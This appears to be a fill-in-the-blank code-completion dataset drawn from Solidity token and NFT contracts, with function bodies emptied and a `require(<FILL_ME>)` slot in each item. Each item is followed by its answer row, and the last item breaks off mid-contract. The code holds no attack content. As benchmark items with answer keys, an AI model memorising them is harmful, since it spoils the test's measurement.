// `parentSnapShotBlock` is the block number from the Parent Token that was
// used to determine the initial distribution of the Clone Token
uint public parentSnapShotBlock;
// `creationBlock` is the block number that the Clone Token was created
uint public creationBlock;
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes the block number that the change
// occurred is also included in the map
mapping (address => Checkpoint[]) balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) allowed;
// Tracks the history of the `totalSupply` of the token
Checkpoint[] totalSupplyHistory;
// Flag that determines if the token is transferable or not.
bool public transfersEnabled;
// The factory used to create new clone tokens
MisTokenFactory public tokenFactory;
////////////////
// Constructor
////////////////
/// @notice Constructor to create a MisToken
/// @param _tokenFactory The address of the MisTokenFactory contract that
/// will create the Clone token contracts, the token factory needs to be
/// deployed first
/// @param _parentToken Address of the parent token, set to 0x0 if it is a
/// new token
/// @param _parentSnapShotBlock Block of the parent token that will
/// determine the initial distribution of the clone token, set to 0 if it
/// is a new token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
function MisToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) {
}
///////////////////
// ERC20 Methods
///////////////////
/// @notice Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) returns (bool success) {
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success) {
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
}
/// @param _owner The address that's balance is being requested
/// @return The balance of `_owner` at the current block
function balanceOf(address _owner) constant returns (uint256 balance) {
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) returns (bool success) {
}
/// @dev This function makes it easy to read the `allowed[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(address _owner, address _spender
) constant returns (uint256 remaining) {
}
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success) {
}
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply() constant returns (uint) {
}
////////////////
// Query balance and totalSupply in History
////////////////
/// @dev Queries the balance of `_owner` at a specific `_blockNumber`
/// @param _owner The address from which the balance will be retrieved
/// @param _blockNumber The block number when the balance is queried
/// @return The balance at `_blockNumber`
function balanceOfAt(address _owner, uint _blockNumber) constant
returns (uint) {
}
/// @notice Total amount of tokens at a specific `_blockNumber`.
/// @param _blockNumber The block number when the totalSupply is queried
/// @return The total amount of tokens at `_blockNumber`
function totalSupplyAt(uint _blockNumber) constant returns(uint) {
}
////////////////
// Clone Token Method
////////////////
/// @notice Creates a new clone token with the initial distribution being
/// this token at `_snapshotBlock`
/// @param _cloneTokenName Name of the clone token
/// @param _cloneDecimalUnits Number of decimals of the smallest unit
/// @param _cloneTokenSymbol Symbol of the clone token
/// @param _snapshotBlock Block when the distribution of the parent token is
/// copied to set the initial distribution of the new clone token;
/// if the block is zero than the actual block, the current block is used
/// @param _transfersEnabled True if transfers are allowed in the clone
/// @return The address of the new MisToken Contract
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) returns(address) {
}
////////////////
// Generate and destroy tokens
////////////////
/// @notice Generates `_amount` tokens that are assigned to `_owner`
/// @param _owner The address that will be assigned the new tokens
/// @param _amount The quantity of tokens generated
/// @return True if the tokens are generated correctly
function generateTokens(address _owner, uint _amount
) onlyController returns (bool) {
}
/// @notice Burns `_amount` tokens from `_owner`
/// @param _owner The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _owner, uint _amount
) onlyController returns (bool) {
}
////////////////
// Enable tokens transfers
////////////////
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed in the clone
function enableTransfers(bool _transfersEnabled) onlyController {
}
////////////////
// Internal helper functions to query and set a value in a snapshot array
////////////////
/// @dev `getValueAt` retrieves the number of tokens at a given block number
/// @param checkpoints The history of values being queried
/// @param _block The block number to retrieve the value at
/// @return The number of tokens being queried
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
}
/// @dev `updateValueAtNow` used to update the `balances` map and the
/// `totalSupplyHistory`
/// @param checkpoints The history of data being updated
/// @param _value The new number of tokens
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
}
/// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) constant internal returns(bool) {
}
/// @dev Helper function to return a min betwen the two uints
function min(uint a, uint b) internal returns (uint) {
}
/// @notice The fallback function: If the contract's controller has not been
/// set to 0, then the `proxyPayment` method is called which relays the
/// ether and creates tokens as described in the token controller contract
function () payable {
require(isContract(controller));
require(<FILL_ME>)
}
//////////
// Safety Methods
//////////
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) onlyController {
}
////////////////
// Events
////////////////
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
////////////////
// MisTokenFactory
////////////////
/// @dev This contract is used to generate clone contracts from a contract.
/// In solidity this is the way to create a contract from a contract of the
/// same class
contract MisTokenFactory {
/// @notice Update the DApp by creating a new token with new functionalities
/// the msg.sender becomes the controller of this clone token
/// @param _parentToken Address of the token being cloned
/// @param _snapshotBlock Block of the parent token that will
/// determine the initial distribution of the clone token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
/// @return The address of the new token contract
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) returns (MisToken) {
}
}
contract MISTOKEN is MisToken {
// @dev MISTOKEN constructor just parametrizes the MisToken constructor
function MISTOKEN(
) MisToken(
0x693a9cFbACe1B67558E78ce2D081965193002223, // address of tokenfactory
0x0, // no parent token
0, // no snapshot block number from parent
"MISTOKEN", // Token name
18, // Decimals
"MISO", // Symbol
true // Enable transfers
) {}
}
| TokenController(controller).proxyPayment.value(msg.value)(msg.sender) | 39,324 | TokenController(controller).proxyPayment.value(msg.value)(msg.sender) |
"can't perform an action" | pragma solidity ^0.5.11;
import "./TokenRecipient.sol";
contract thopi_token is AccountFrozenBalances, Ownable, Whitelisted, Burnable, Pausable, Mintable, Meltable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
modifier canTransfer() {
if(paused()){
require(<FILL_ME>)
}
_;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Freeze(address indexed from, uint256 amount);
event Melt(address indexed from, uint256 amount);
event MintFrozen(address indexed to, uint256 amount);
event FrozenTransfer(address indexed from, address indexed to, uint256 value);
constructor (string memory _name, string memory _symbol, uint8 _decimals) public {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address recipient, uint256 amount) public canTransfer returns (bool) {
}
function allowance(address _owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 value) public returns (bool) {
}
/* Approve and then communicate the approved contract in a single tx */
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public canTransfer returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
}
function burn(uint256 amount) public whenBurn {
}
function burnFrom(address account, uint256 amount) public whenBurn {
}
function destroy(address account, uint256 amount) public onlyOwner {
}
function destroyFrozen(address account, uint256 amount) public onlyOwner {
}
function mintBatchToken(address[] calldata accounts, uint256[] calldata amounts) external onlyMinter returns (bool) {
}
function transferFrozenToken(address from, address to, uint256 amount) public onlyOwner returns (bool) {
}
function freezeTokens(address account, uint256 amount) public onlyOwner returns (bool) {
}
function meltTokens(address account, uint256 amount) public onlyMelter returns (bool) {
}
function mintFrozenTokens(address account, uint256 amount) public onlyMinter returns (bool) {
}
function mintBatchFrozenTokens(address[] calldata accounts, uint256[] calldata amounts) external onlyMinter returns (bool) {
}
function meltBatchTokens(address[] calldata accounts, uint256[] calldata amounts) external onlyMelter returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal {
}
function _mint(address account, uint256 amount) internal {
}
function _burn(address account, uint256 value) internal {
}
function _approve(address _owner, address spender, uint256 value) internal {
}
function _burnFrom(address account, uint256 amount) internal {
}
function _freeze(address account, uint256 amount) internal {
}
function _mintfrozen(address account, uint256 amount) internal {
}
function _melt(address account, uint256 amount) internal {
}
function _burnFrozen(address account, uint256 amount) internal {
}
}
| isWhitelisted(msg.sender)==true,"can't perform an action" | 39,326 | isWhitelisted(msg.sender)==true |
"ERC20: melt from the address: balance < amount" | pragma solidity ^0.5.11;
import "./TokenRecipient.sol";
contract thopi_token is AccountFrozenBalances, Ownable, Whitelisted, Burnable, Pausable, Mintable, Meltable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
modifier canTransfer() {
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Freeze(address indexed from, uint256 amount);
event Melt(address indexed from, uint256 amount);
event MintFrozen(address indexed to, uint256 amount);
event FrozenTransfer(address indexed from, address indexed to, uint256 value);
constructor (string memory _name, string memory _symbol, uint8 _decimals) public {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address recipient, uint256 amount) public canTransfer returns (bool) {
}
function allowance(address _owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 value) public returns (bool) {
}
/* Approve and then communicate the approved contract in a single tx */
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public canTransfer returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
}
function burn(uint256 amount) public whenBurn {
}
function burnFrom(address account, uint256 amount) public whenBurn {
}
function destroy(address account, uint256 amount) public onlyOwner {
}
function destroyFrozen(address account, uint256 amount) public onlyOwner {
}
function mintBatchToken(address[] calldata accounts, uint256[] calldata amounts) external onlyMinter returns (bool) {
}
function transferFrozenToken(address from, address to, uint256 amount) public onlyOwner returns (bool) {
}
function freezeTokens(address account, uint256 amount) public onlyOwner returns (bool) {
}
function meltTokens(address account, uint256 amount) public onlyMelter returns (bool) {
}
function mintFrozenTokens(address account, uint256 amount) public onlyMinter returns (bool) {
}
function mintBatchFrozenTokens(address[] calldata accounts, uint256[] calldata amounts) external onlyMinter returns (bool) {
}
function meltBatchTokens(address[] calldata accounts, uint256[] calldata amounts) external onlyMelter returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal {
}
function _mint(address account, uint256 amount) internal {
}
function _burn(address account, uint256 value) internal {
}
function _approve(address _owner, address spender, uint256 value) internal {
}
function _burnFrom(address account, uint256 amount) internal {
}
function _freeze(address account, uint256 amount) internal {
}
function _mintfrozen(address account, uint256 amount) internal {
}
function _melt(address account, uint256 amount) internal {
require(account != address(0), "ERC20: melt from the zero address");
require(amount > 0, "ERC20: melt from the address: value should be > 0");
require(<FILL_ME>)
_frozen_sub(account, amount);
_balances[account] = _balances[account].add(amount);
emit Melt(account, amount);
}
function _burnFrozen(address account, uint256 amount) internal {
}
}
| _frozen_balanceOf(account)>=amount,"ERC20: melt from the address: balance < amount" | 39,326 | _frozen_balanceOf(account)>=amount |
"Token does not exist" | pragma solidity 0.8.12;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint tokenIndex, bytes calldata data) external returns (bytes4);
}
contract G8bc is Context, ERC165, Ownable, IERC721Metadata {
using SafeMath for uint;
using Strings for uint;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x93254542;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
string private constant NAME = 'G8 Blockchain Certification';
string private constant SYMBOL = 'G8BC';
string private _baseURI;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping (address => EnumerableSet.UintSet) private _holderTokens;
mapping (uint => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
constructor() {
}
/**
* @dev Gets the balance of the specified address.
* @param tokenOwner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address tokenOwner) external view override returns (uint) {
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenIndex uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint tokenIndex) public view override returns (address) {
}
/**
* @dev A descriptive name for a collection of NFTs in this contract
*
* @return descriptive name.
*/
function name() external pure override returns (string memory) {
}
/**
* @dev An abbreviated name for NFTs in this contract
*
* @return abbreviated name (symbol).
*/
function symbol() external pure override returns (string memory) {
}
/**
* @dev function to set the base URI of the collection
*
* @param baseURI base URI string.
*/
function setBaseURI(string memory baseURI) external onlyOwner {
}
/**
* @dev Returns the NFT index owned by the user
*
* @param tokenOwner address.
* @param index Index in the list of owned tokens by address.
*
* @return token index in the collection.
*/
function tokenOfOwnerByIndex(address tokenOwner, uint index) external view returns (uint) {
}
/**
* @dev Returns the total amount of tokens stored by the contract.
*
* @return total amount of tokens.
*/
function totalSupply() public view returns (uint) {
}
/**
* @dev Function mints the amount of NFTs and sends them to the executor's address
*/
function mint() external onlyOwner() returns (uint) {
}
/**
* @dev Returns the URI for a given token ID. May return an empty string.
*
* If the token's URI is non-empty and a base URI was set (via
* {_setBaseURI}), it will be added to the token ID's URI as a prefix.
*
* Reverts if the token ID does not exist.
* @param tokenIndex uint256 ID of the token
*/
function tokenURI(uint tokenIndex) external view returns (string memory) {
require(<FILL_ME>)
return bytes(_baseURI).length != 0 ? string(abi.encodePacked(_baseURI, tokenIndex.toString())) : "";
}
/**
* @dev Approves another address to transfer the given token ID
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenIndex uint256 ID of the token to be approved
*/
function approve(address to, uint tokenIndex) external virtual override {
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenIndex uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint tokenIndex) public view override returns (address) {
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param operator operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param tokenOwner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address tokenOwner, address operator) public view override returns (bool) {
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint tokenIndex) public virtual override {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint tokenIndex) public virtual override {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint tokenIndex, bytes memory _data) public virtual override {
}
/**
* @dev Internal function for safe transfer
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransfer(address from, address to, uint tokenIndex, bytes memory _data) internal virtual {
}
/**
* @dev Returns whether the specified token exists.
* @param tokenIndex uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint tokenIndex) internal view returns (bool) {
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenIndex uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint tokenIndex) internal view returns (bool) {
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
*/
function _safeMint(address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(address to, uint tokenIndex, bytes memory _data) internal virtual {
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
*/
function _mint(address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function for transfer
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function _transfer(address from, address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address.
* The call is not executed if the target address is not a contract.
*
* This function is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint tokenIndex, bytes memory _data) private returns (bool) {
}
/**
* @dev Internal function for approve another address to transfer the given token ID
* @param to address to be approved for the given token ID
* @param tokenIndex uint256 ID of the token to be approved
*/
function _approve(address to, uint tokenIndex) private {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint tokenIndex) internal virtual {}
}
| _exists(tokenIndex),"Token does not exist" | 39,382 | _exists(tokenIndex) |
"ERC721: approve caller is not owner nor approved for all" | pragma solidity 0.8.12;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint tokenIndex, bytes calldata data) external returns (bytes4);
}
contract G8bc is Context, ERC165, Ownable, IERC721Metadata {
using SafeMath for uint;
using Strings for uint;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x93254542;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
string private constant NAME = 'G8 Blockchain Certification';
string private constant SYMBOL = 'G8BC';
string private _baseURI;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping (address => EnumerableSet.UintSet) private _holderTokens;
mapping (uint => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
constructor() {
}
/**
* @dev Gets the balance of the specified address.
* @param tokenOwner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address tokenOwner) external view override returns (uint) {
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenIndex uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint tokenIndex) public view override returns (address) {
}
/**
* @dev A descriptive name for a collection of NFTs in this contract
*
* @return descriptive name.
*/
function name() external pure override returns (string memory) {
}
/**
* @dev An abbreviated name for NFTs in this contract
*
* @return abbreviated name (symbol).
*/
function symbol() external pure override returns (string memory) {
}
/**
* @dev function to set the base URI of the collection
*
* @param baseURI base URI string.
*/
function setBaseURI(string memory baseURI) external onlyOwner {
}
/**
* @dev Returns the NFT index owned by the user
*
* @param tokenOwner address.
* @param index Index in the list of owned tokens by address.
*
* @return token index in the collection.
*/
function tokenOfOwnerByIndex(address tokenOwner, uint index) external view returns (uint) {
}
/**
* @dev Returns the total amount of tokens stored by the contract.
*
* @return total amount of tokens.
*/
function totalSupply() public view returns (uint) {
}
/**
* @dev Function mints the amount of NFTs and sends them to the executor's address
*/
function mint() external onlyOwner() returns (uint) {
}
/**
* @dev Returns the URI for a given token ID. May return an empty string.
*
* If the token's URI is non-empty and a base URI was set (via
* {_setBaseURI}), it will be added to the token ID's URI as a prefix.
*
* Reverts if the token ID does not exist.
* @param tokenIndex uint256 ID of the token
*/
function tokenURI(uint tokenIndex) external view returns (string memory) {
}
/**
* @dev Approves another address to transfer the given token ID
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenIndex uint256 ID of the token to be approved
*/
function approve(address to, uint tokenIndex) external virtual override {
address tokenOwner = ownerOf(tokenIndex);
require(to != tokenOwner, "ERC721: approval to current owner");
require(<FILL_ME>)
_approve(to, tokenIndex);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenIndex uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint tokenIndex) public view override returns (address) {
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param operator operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param tokenOwner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address tokenOwner, address operator) public view override returns (bool) {
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint tokenIndex) public virtual override {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint tokenIndex) public virtual override {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint tokenIndex, bytes memory _data) public virtual override {
}
/**
* @dev Internal function for safe transfer
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransfer(address from, address to, uint tokenIndex, bytes memory _data) internal virtual {
}
/**
* @dev Returns whether the specified token exists.
* @param tokenIndex uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint tokenIndex) internal view returns (bool) {
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenIndex uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint tokenIndex) internal view returns (bool) {
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
*/
function _safeMint(address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(address to, uint tokenIndex, bytes memory _data) internal virtual {
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
*/
function _mint(address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function for transfer
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function _transfer(address from, address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address.
* The call is not executed if the target address is not a contract.
*
* This function is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint tokenIndex, bytes memory _data) private returns (bool) {
}
/**
* @dev Internal function for approve another address to transfer the given token ID
* @param to address to be approved for the given token ID
* @param tokenIndex uint256 ID of the token to be approved
*/
function _approve(address to, uint tokenIndex) private {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint tokenIndex) internal virtual {}
}
| _msgSender()==tokenOwner||isApprovedForAll(tokenOwner,_msgSender()),"ERC721: approve caller is not owner nor approved for all" | 39,382 | _msgSender()==tokenOwner||isApprovedForAll(tokenOwner,_msgSender()) |
"ERC721: transfer caller is not owner nor approved" | pragma solidity 0.8.12;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint tokenIndex, bytes calldata data) external returns (bytes4);
}
contract G8bc is Context, ERC165, Ownable, IERC721Metadata {
using SafeMath for uint;
using Strings for uint;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x93254542;
